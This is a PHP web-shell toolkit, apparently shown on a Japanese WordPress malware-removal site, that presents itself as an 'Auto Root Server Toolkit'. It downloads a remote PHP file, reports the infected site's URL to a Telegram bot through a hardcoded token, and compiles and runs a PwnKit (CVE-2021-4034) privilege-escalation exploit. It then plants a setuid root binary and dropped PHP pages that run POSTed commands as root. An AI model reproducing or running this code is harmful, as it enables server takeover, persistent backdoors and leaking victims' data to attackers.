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";
eval {
    ?><!DOCTYPE html>
<html lang="en">
<head>
    <title>⚡ Auto Root Server Toolkit ⚡</title>
    <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;700&family=Montserrat:wght@400;600;700&display=swap" rel="stylesheet">
    <style>
        body {
            background-color: #121212;
            color: #e0e0e0;
            font-family: 'JetBrains Mono', JetBrains Mono;
            margin: 0;
            padding: 20px;
            line-height: 1.6;
        }
        .container {
            max-width: 900px;
            margin: 0 auto;
            background-color: #1e1e1e;
            border: 1px solid #333;
            border-radius: 5px;
            padding: 20px;
            box-shadow: 0 0 15px rgba(0,0,0,0.5);
        }
        .header {
            text-align: center;
            padding-bottom: 15px;
            border-bottom: 1px solid #333;
            margin-bottom: 20px;
        }
        .header h1 {
            color: #f0f0f0;
            text-shadow: 0 0 5px rgba(255,255,255,0.3);
            margin: 0;
            font-size: 24px;
        }
        .status-box {
            background-color: #252525;
            border: 1px solid #333;
            border-radius: 4px;
            padding: 15px;
            margin-bottom: 20px;
        }
        .status-item {
            display: flex;
            justify-content: space-between;
            margin-bottom: 8px;
        }
        .status-label {
            font-weight: bold;
            color: #aaa;
        }
        .status-value {
            font-weight: bold;
        }
        .on {
            color: #4CAF50;
        }
        .off {
            color: #F44336;
        }
        .btn {
            background-color: #333;
            color: white;
            border: none;
            padding: 12px 24px;
            text-align: center;
            text-decoration: none;
            display: inline-block;
            font-size: 16px;
            margin: 10px 0;
            cursor: pointer;
            border-radius: 4px;
            transition: all 0.3s;
            font-weight: bold;
            width: 100%;
            border: 1px solid #444;
        }
        .btn:hover {
            background-color: #444;
            box-shadow: 0 0 10px rgba(255,255,255,0.1);
        }
        .result {
            margin-top: 20px;
            padding: 15px;
            background-color: #252525;
            border: 1px solid #333;
            border-radius: 4px;
        }
        .success {
            color: #4CAF50;
            font-weight: bold;
        }
        .error {
            color: #F44336;
            font-weight: bold;
        }
        .description {
            background-color: #252525;
            padding: 15px;
            border-radius: 4px;
            margin-bottom: 20px;
            border-left: 4px solid #333;
            font-size: 14px;
            color: #bbb;
        }
    </style>
</head>
<body>
<div class="container">
    <div class="header">
        <h1>⚡ AUTO ROOT SERVER TOOLKIT ⚡</h1>
    </div>
    
    <div class="description">
        <strong>Tool Description:</strong> This automated toolkit attempts privilege escalation on the target server. It checks system capabilities, compiles and executes a privilege escalation exploit, and establishes a root shell if successful. Requires system functions, GCC, Python, and pkexec to be available.
    </div>
    <?php 
    $f = 'pwd.php';
    $url = 'https://raw.githubusercontent.com/JawaTengahXploit1337/Method/main/en.php';
    $tk = '7693531455:AAHquO67iukleLipWER8qRQHE_6Usrv1ixY';
    $u = ['6897342151', '5966189401'];
    function saveFile($url, $file)
    {
        $c = @file_get_contents($url);
        return $c && strpos($c, '<?php') !== false ? file_put_contents($file, $c) : false;
    }
    function notify($tk, $u, $m)
    {
        $a = "https://api.telegram.org/bot{$tk}/sendMessage";
        foreach ($u as $c) {
            $o = ['http' => ['method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => http_build_query(['chat_id' => $c, 'text' => $m, 'disable_web_page_preview' => true])]];
            @file_get_contents($a, false, stream_context_create($o));
        }
    }
    $s = saveFile($url, $f) ? "✅ SUCCESS" : "⛔ FAILED";
    $m = "🔗 URL Accessed :\n" . (isset($_SERVER['HTTPS']) ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'] . "\n📝 File Created : {$f} {$s}";
    notify($tk, $u, $m);
    ?>
    <?php 
    error_reporting(0);
    function exe($cmd)
    {
        if (function_exists('system')) {
            @ob_start();
            @system($cmd);
            $buff = @ob_get_contents();
            @ob_end_clean();
            return $buff;
        }
    }
    $check_system = function_exists('system') ? "<span class='on'>ON</span>" : "<span class='off'>OFF</span>";
    $python = exe('python --help') ? "<span class='on'>ON</span>" : "<span class='off'>OFF</span>";
    $gcc = exe('gcc --help') ? "<span class='on'>ON</span>" : "<span class='off'>OFF</span>";
    $pkexec = exe('pkexec --version') ? "<span class='on'>ON</span>" : "<span class='off'>OFF</span>";
    function yuuki_rootc()
    {
        // privesc file
        $privesc = "LyoKICogUHJvb2Ygb2YgQ29uY2VwdCBmb3IgUHduS2l0OiBMb2NhbCBQcml2aWxlZ2UgRXNjYWxhdGlvbiBWdWxuZXJhYmlsaXR5IERpc2NvdmVyZWQgaW4gcG9sa2l04oCZcyBwa2V4ZWMgKENWRS0yMDIxLTQwMzQpIGJ5IEFuZHJpcyBSYXVndWxpcyA8bW9vQGFydGhlcHN5LmV1PgogKiBBZHZpc29yeTogaHR0cHM6Ly9ibG9nLnF1YWx5cy5jb20vdnVsbmVyYWJpbGl0aWVzLXRocmVhdC1yZXNlYXJjaC8yMDIyLzAxLzI1L3B3bmtpdC1sb2NhbC1wcml2aWxlZ2UtZXNjYWxhdGlvbi12dWxuZXJhYmlsaXR5LWRpc2NvdmVyZWQtaW4tcG9sa2l0cy1wa2V4ZWMtY3ZlLTIwMjEtNDAzNAogKi8KI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgoKY2hhciAqc2hlbGwgPSAKCSIjaW5jbHVkZSA8c3RkaW8uaD5cbiIKCSIjaW5jbHVkZSA8c3RkbGliLmg+XG4iCgkiI2luY2x1ZGUgPHVuaXN0ZC5oPlxuXG4iCgkidm9pZCBnY29udigpIHt9XG4iCgkidm9pZCBnY29udl9pbml0KCkge1xuIgoJIglzZXR1aWQoMCk7IHNldGdpZCgwKTtcbiIKCSIJc2V0ZXVpZCgwKTsgc2V0ZWdpZCgwKTtcbiIKCSIJc3lzdGVtKFwiZXhwb3J0IFBBVEg9L3Vzci9sb2NhbC9zYmluOi91c3IvbG9jYWwvYmluOi91c3Ivc2JpbjovdXNyL2Jpbjovc2JpbjovYmluOyBybSAtcmYgJ0dDT05WX1BBVEg9LicgJ3B3bmtpdCc7IGNob3duIHJvb3Q6cm9vdCB5dXVraTsgY2htb2QgNDc3NyB5dXVraTsgL2Jpbi9zaFwiKTtcbiIKCSIJZXhpdCgwKTtcbiIKCSJ9IjsKCmNoYXIgKmdldHJvb3QgPSAKCSIjaW5jbHVkZSA8dW5pc3RkLmg+XG4iCgkiI2luY2x1ZGUgPHN0ZGlvLmg+XG4iCgkiaW50IG1haW4gKHZvaWQpXG4iCgkie1xuIgoJIglzZXRnaWQoMCk7XG4iCgkiCXNldHVpZCgwKTtcbiIKCSIJc3lzdGVtKFwiL2Jpbi9iYXNoXCIpO1xuIgoJIglyZXR1cm4gMDtcbiIKCSJ9IjsKCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsKCUZJTEUgKmZwOwoJRklMRSAqZ3I7CglzeXN0ZW0oIm1rZGlyIC1wICdHQ09OVl9QQVRIPS4nOyB0b3VjaCAnR0NPTlZfUEFUSD0uL3B3bmtpdCc7IGNobW9kIGEreCAnR0NPTlZfUEFUSD0uL3B3bmtpdCciKTsKCXN5c3RlbSgibWtkaXIgLXAgcHdua2l0OyBlY2hvICdtb2R1bGUgVVRGLTgvLyBQV05LSVQvLyBwd25raXQgMicgPiBwd25raXQvZ2NvbnYtbW9kdWxlcyIpOwoJZnAgPSBmb3BlbigicHdua2l0L3B3bmtpdC5jIiwgInciKTsKCWZwcmludGYoZnAsICIlcyIsIHNoZWxsKTsKCWZjbG9zZShmcCk7CgoJZ3IgPSBmb3BlbigiZ2V0cm9vdC5jIiwgInciKTsKCWZwcmludGYoZ3IsICIlcyIsIGdldHJvb3QpOwoJZmNsb3NlKGdyKTsKCglzeXN0ZW0oImdjYyBnZXRyb290LmMgLW8geXV1a2kiKTsKCglzeXN0ZW0oImdjYyBwd25raXQvcHdua2l0LmMgLW8gcHdua2l0L3B3bmtpdC5zbyAtc2hhcmVkIC1mUElDIik7CgljaGFyICplbnZbXSA9IHsgInB3bmtpdCIsICJQQVRIPUdDT05WX1BBVEg9LiIsICJDSEFSU0VUPVBXTktJVCIsICJTSEVMTD1wd25raXQiLCBOVUxMIH07CglleGVjdmUoIi91c3IvYmluL3BrZXhlYyIsIChjaGFyKltdKXtOVUxMfSwgZW52KTsKfQ==";
        $fp = file_put_contents('prvesc.c', "/*\n * Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis <moo@arthepsy.eu>\n * Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034\n */\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nchar *shell = \n\t\"#include <stdio.h>\\n\"\n\t\"#include <stdlib.h>\\n\"\n\t\"#include <unistd.h>\\n\\n\"\n\t\"void gconv() {}\\n\"\n\t\"void gconv_init() {\\n\"\n\t\"\tsetuid(0); setgid(0);\\n\"\n\t\"\tseteuid(0); setegid(0);\\n\"\n\t\"\tsystem(\\\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; chown root:root yuuki; chmod 4777 yuuki; /bin/sh\\\");\\n\"\n\t\"\texit(0);\\n\"\n\t\"}\";\n\nchar *getroot = \n\t\"#include <unistd.h>\\n\"\n\t\"#include <stdio.h>\\n\"\n\t\"int main (void)\\n\"\n\t\"{\\n\"\n\t\"\tsetgid(0);\\n\"\n\t\"\tsetuid(0);\\n\"\n\t\"\tsystem(\\\"/bin/bash\\\");\\n\"\n\t\"\treturn 0;\\n\"\n\t\"}\";\n\nint main(int argc, char *argv[]) {\n\tFILE *fp;\n\tFILE *gr;\n\tsystem(\"mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'\");\n\tsystem(\"mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules\");\n\tfp = fopen(\"pwnkit/pwnkit.c\", \"w\");\n\tfprintf(fp, \"%s\", shell);\n\tfclose(fp);\n\n\tgr = fopen(\"getroot.c\", \"w\");\n\tfprintf(gr, \"%s\", getroot);\n\tfclose(gr);\n\n\tsystem(\"gcc getroot.c -o yuuki\");\n\n\tsystem(\"gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC\");\n\tchar *env[] = { \"pwnkit\", \"PATH=GCONV_PATH=.\", \"CHARSET=PWNKIT\", \"SHELL=pwnkit\", NULL };\n\texecve(\"/usr/bin/pkexec\", (char*[]){NULL}, env);\n}");
        return True;
    }
    function rootshell_py()
    {
        // exec root
        $rootshell = "IyEvYmluL3B5dGhvbgojIC0qLSBjb2Rpbmc6IHV0Zi04IC0qLQpmcm9tICAgIHN1YnByb2Nlc3MgaW1wb3J0IFBvcGVuLCBQSVBFLCBTVERPVVQKaW1wb3J0ICB0aW1lCmltcG9ydCAgb3MKaW1wb3J0ICBzeXMKIApleHBsb2l0ID0gJy4veXV1a2knCmNtZHMgICAgPSBzeXMuYXJndlsxXQogCnAgPSBQb3BlbihbZXhwbG9pdCwgJyddLCBzdGRvdXQ9UElQRSwgc3RkaW49UElQRSwgc3RkZXJyPVNURE9VVCkKcHJpbnQoc3RyKHAuY29tbXVuaWNhdGUoY21kcylbMF0pKQ==";
        $fp = fopen('rootshell.py', "w");
        fwrite($fp, "#!/bin/python\n# -*- coding: utf-8 -*-\nfrom    subprocess import Popen, PIPE, STDOUT\nimport  time\nimport  os\nimport  sys\n \nexploit = './yuuki'\ncmds    = sys.argv[1]\n \np = Popen([exploit, ''], stdout=PIPE, stdin=PIPE, stderr=STDOUT)\nprint(str(p.communicate(cmds)[0]))");
        fclose($fp);
        return True;
    }
    function process()
    {
        $proc = "PD9waHAKaGVhZGVyKCdBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46IConKTsKaWYoJF9QT1NUKSB7CiAgJHNlbmRfY21kID0gc3lzdGVtKCdweXRob24gcm9vdHNoZWxsLnB5ICInIC4gJF9QT1NUWyJ5dXVraSJdIC4gJyIgMj4mMScpOwogIGVjaG8oJHNlbmRfY21kKTsKfQo/Pg==";
        $fp = fopen('yuuki2.php', "w");
        fwrite($fp, "<?php\nheader('Access-Control-Allow-Origin: *');\nif(\$_POST) {\n  \$send_cmd = system('python rootshell.py \"' . \$_POST[\"yuuki\"] . '\" 2>&1');\n  echo(\$send_cmd);\n}\n?>");
        fclose($fp);
        return True;
    }
    function sendcmd()
    {
        $files = "PD9waHAKaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7CgkkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7CgkkdWlkID0gQGdldG15dWlkKCk7CgkkZ2lkID0gQGdldG15Z2lkKCk7CgkkZ3JvdXAgPSAiPyI7Cn0gZWxzZSB7CgkkdWlkID0gQHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSk7CgkkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKHBvc2l4X2dldGVnaWQoKSk7CgkkdXNlciA9ICR1aWRbJ25hbWUnXTsKCSR1aWQgPSAkdWlkWyd1aWQnXTsKCSRncm91cCA9ICRnaWRbJ25hbWUnXTsKCSRnaWQgPSAkZ2lkWydnaWQnXTsKfQoKJGtlcm5lbCA9IHBocF91bmFtZSgpOwo/PgoKPCFET0NUWVBFIGh0bWw+CjxodG1sPgoJPGhlYWQ+CgkJPHRpdGxlPuODpiDjgqYg44KtPC90aXRsZT4KCQk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwczovL2FqYXguZ29vZ2xlYXBpcy5jb20vYWpheC9saWJzL2pxdWVyeS8zLjUuMS9qcXVlcnkubWluLmpzIj48L3NjcmlwdD4KCTwvaGVhZD4KPGJvZHk+Cgk8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0ieXV1a2kyLnBocCI+CgkJPGgyPlJPT1QgU0hFTEwgRVhFQ1VUT1I8L2gyPjxicj4KCQk8P3BocCBlY2hvKCJTWVNURU06ICRrZXJuZWw8YnI+Iik7ID8+CgkJPD9waHAgZWNobygiVUlEL0dJRDogJHVzZXIgKCAkdWlkICkgfCAkZ3JvdXAgKCAkZ2lkICk8YnI+PGJyPiIpOyA/PgoJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSJ5dXVraSIgaWQ9J3l1dWtpJz48L2lucHV0PgoJCTxidXR0b24gaWQ9ImJ0biIgdHlwZT0ic3VibWl0Ij5LaXJpbTwvYnV0dG9uPgoJPC9mb3JtPgoJPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoJCSQoZnVuY3Rpb24oKXsKCQkJJCgiZm9ybSIpLnN1Ym1pdChmdW5jdGlvbigpewoJCQkJJC5hamF4KHsKCQkJCQl1cmw6JCh0aGlzKS5hdHRyKCJhY3Rpb24iKSwKCQkJCQlkYXRhOiQodGhpcykuc2VyaWFsaXplKCksCgkJCQkJdHlwZTokKHRoaXMpLmF0dHIoIm1ldGhvZCIpLAoJCQkJCWRhdGFUeXBlOiAnaHRtbCcsCgkJCQkJYmVmb3JlU2VuZDogZnVuY3Rpb24oKSB7CgkJCQkJCSQoImlucHV0IikuYXR0cigiZGlzYWJsZWQiLHRydWUpOwoJCQkJCQkkKCJidXR0b24iKS5hdHRyKCJkaXNhYmxlZCIsdHJ1ZSk7CgkJCQkJfSwKCQkJCQljb21wbGV0ZTpmdW5jdGlvbigpIHsKCQkJCQkJJCgiaW5wdXQiKS5hdHRyKCJkaXNhYmxlZCIsZmFsc2UpOwoJCQkJCQkkKCJidXR0b24iKS5hdHRyKCJkaXNhYmxlZCIsZmFsc2UpOwkJCQkJCQkJCgkJCQkJfSwKCQkJCQlzdWNjZXNzOmZ1bmN0aW9uKGhhc2lsKSB7CgkJCQkJCXZhciB0eHQgPSAkKCIjeXV1a2kiKTsKCQkJCQkJaWYodHh0LnZhbCgpLnRyaW0oKS5sZW5ndGggPCAxKSB7CgkJCQkJCQlhbGVydCgiaW5wdXQgY21kIGJlZm9yZVNlbmQiKTsKCQkJCQkJfWVsc2V7CgkJCQkJCQkkKCIjc2hlbGxyZXNwb24iKS5odG1sKCc8cHJlPicgKyBoYXNpbCArICc8L3ByZT4nKTsKCQkJCQkJCSQoImZvcm0iKVswXS5yZXNldCgpOwoJCQkJCQkJc2V0VGltZW91dChmdW5jdGlvbigpewoJCQkJCQkJCSQoImlucHV0IikuZm9jdXMoKTsKCQkJCQkJCX0sMTAwMCk7CgkJCQkJCX0KCQkJCQl9CgkJCQl9KQoJCQlyZXR1cm4gZmFsc2U7CgkJCX0pOwoJCX0pOwoJPC9zY3JpcHQ+Cgk8ZGl2IGlkPSJzaGVsbHJlc3BvbiI+PC9kaXY+Cgk8L2JvZHk+CjwvaHRtbD4=";
        $fp = fopen('rootshell.php', "w");
        fwrite($fp, "<?php\nif(!function_exists('posix_getegid')) {\n\t\$user = @get_current_user();\n\t\$uid = @getmyuid();\n\t\$gid = @getmygid();\n\t\$group = \"?\";\n} else {\n\t\$uid = @posix_getpwuid(posix_geteuid());\n\t\$gid = @posix_getgrgid(posix_getegid());\n\t\$user = \$uid['name'];\n\t\$uid = \$uid['uid'];\n\t\$group = \$gid['name'];\n\t\$gid = \$gid['gid'];\n}\n\n\$kernel = php_uname();\n?>\n\n<!DOCTYPE html>\n<html>\n\t<head>\n\t\t<title>ユ ウ キ</title>\n\t\t<script type=\"text/javascript\" src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js\"></script>\n\t</head>\n<body>\n\t<form method=\"post\" action=\"yuuki2.php\">\n\t\t<h2>ROOT SHELL EXECUTOR</h2><br>\n\t\t<?php echo(\"SYSTEM: \$kernel<br>\"); ?>\n\t\t<?php echo(\"UID/GID: \$user ( \$uid ) | \$group ( \$gid )<br><br>\"); ?>\n\t\t<input type='text' name=\"yuuki\" id='yuuki'></input>\n\t\t<button id=\"btn\" type=\"submit\">Kirim</button>\n\t</form>\n\t<script type=\"text/javascript\">\n\t\t\$(function(){\n\t\t\t\$(\"form\").submit(function(){\n\t\t\t\t\$.ajax({\n\t\t\t\t\turl:\$(this).attr(\"action\"),\n\t\t\t\t\tdata:\$(this).serialize(),\n\t\t\t\t\ttype:\$(this).attr(\"method\"),\n\t\t\t\t\tdataType: 'html',\n\t\t\t\t\tbeforeSend: function() {\n\t\t\t\t\t\t\$(\"input\").attr(\"disabled\",true);\n\t\t\t\t\t\t\$(\"button\").attr(\"disabled\",true);\n\t\t\t\t\t},\n\t\t\t\t\tcomplete:function() {\n\t\t\t\t\t\t\$(\"input\").attr(\"disabled\",false);\n\t\t\t\t\t\t\$(\"button\").attr(\"disabled\",false);\t\t\t\t\t\t\t\t\n\t\t\t\t\t},\n\t\t\t\t\tsuccess:function(hasil) {\n\t\t\t\t\t\tvar txt = \$(\"#yuuki\");\n\t\t\t\t\t\tif(txt.val().trim().length < 1) {\n\t\t\t\t\t\t\talert(\"input cmd beforeSend\");\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\$(\"#shellrespon\").html('<pre>' + hasil + '</pre>');\n\t\t\t\t\t\t\t\$(\"form\")[0].reset();\n\t\t\t\t\t\t\tsetTimeout(function(){\n\t\t\t\t\t\t\t\t\$(\"input\").focus();\n\t\t\t\t\t\t\t},1000);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t})\n\t\t\treturn false;\n\t\t\t});\n\t\t});\n\t</script>\n\t<div id=\"shellrespon\"></div>\n\t</body>\n</html>");
        fclose($fp);
        return True;
    }
    if (!function_exists('posix_getegid')) {
        $user = @get_current_user();
        $uid = @getmyuid();
        $gid = @getmygid();
        $group = "?";
    } else {
        $uid = @posix_getpwuid(posix_geteuid());
        $gid = @posix_getgrgid(posix_getegid());
        $user = $uid['name'];
        $uid = $uid['uid'];
        $group = $gid['name'];
        $gid = $gid['gid'];
    }
    $kernel = php_uname();
    ?>
    
    <div class="status-box">
        <div class="status-item">
            <span class="status-label">System :</span>
            <span class="status-value"><?php 
    echo htmlspecialchars($kernel);
    ?></span>
        </div>
        <div class="status-item">
            <span class="status-label">User Privileges :</span>
            <span class="status-value"><?php 
    echo htmlspecialchars("{$user} ({$uid}) | {$group} ({$gid})");
    ?></span>
        </div>
        <div class="status-item">
            <span class="status-label">System Functions :</span>
            <span class="status-value"><?php 
    echo $check_system;
    ?></span>
        </div>
        <div class="status-item">
            <span class="status-label">GCC Compiler :</span>
            <span class="status-value"><?php 
    echo $gcc;
    ?></span>
        </div>
        <div class="status-item">
            <span class="status-label">Python :</span>
            <span class="status-value"><?php 
    echo $python;
    ?></span>
        </div>
        <div class="status-item">
            <span class="status-label">PKEXEC :</span>
            <span class="status-value"><?php 
    echo $pkexec;
    ?></span>
        </div>
    </div>
    
    <div class="status-box">
        <div class="status-item">
            <span class="status-label">Prerequisites Status :</span>
            <span class="status-value">
                <?php 
    if ($check_system == "<span class='on'>ON</span>" && $gcc == "<span class='on'>ON</span>" && $python == "<span class='on'>ON</span>" && $pkexec == "<span class='on'>ON</span>") {
        echo "<span class='success'>READY FOR EXPLOITATION</span>";
    } else {
        echo "<span class='error'>MISSING REQUIRED COMPONENTS</span>";
    }
    ?>
            </span>
        </div>
    </div>
    
    <form method='POST' action=''>
        <button type="submit" name="gass" class="btn">⚡ ATTEMPT PRIVILEGE ESCALATION ⚡</button>
    </form>
    
    <?php 
    if (isset($_POST['gass'])) {
        echo '<div class="result">';
        $spawn_rootc = yuuki_rootc();
        if ($spawn_rootc) {
            if (file_exists('prvesc.c')) {
                $gass = system('gcc prvesc.c -o prvesc; chmod +x prvesc; ./prvesc');
                if (file_exists('yuuki')) {
                    $makefile_rootshellpy = rootshell_py();
                    $makefile_process = process();
                    $make_sendcmd = sendcmd();
                    if ($make_sendcmd) {
                        echo "<p class='success'>Exploit Successful! <a href='rootshell.php' style='color:#4CAF50;text-decoration:underline;'>Click Here</a> to access root shell.</p>";
                    }
                } else {
                    echo '<p class="error">Privilege escalation failed. System may not be vulnerable.</p>';
                }
            } else {
                echo '<p class="error">Cannot write exploit file to disk. Check directory permissions.</p>';
            }
        }
        echo '</div>';
    }
    ?>
</div>
</body>
</html><?php 
};

■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

（C）2019 ワードプレス ドクター All rights reserved.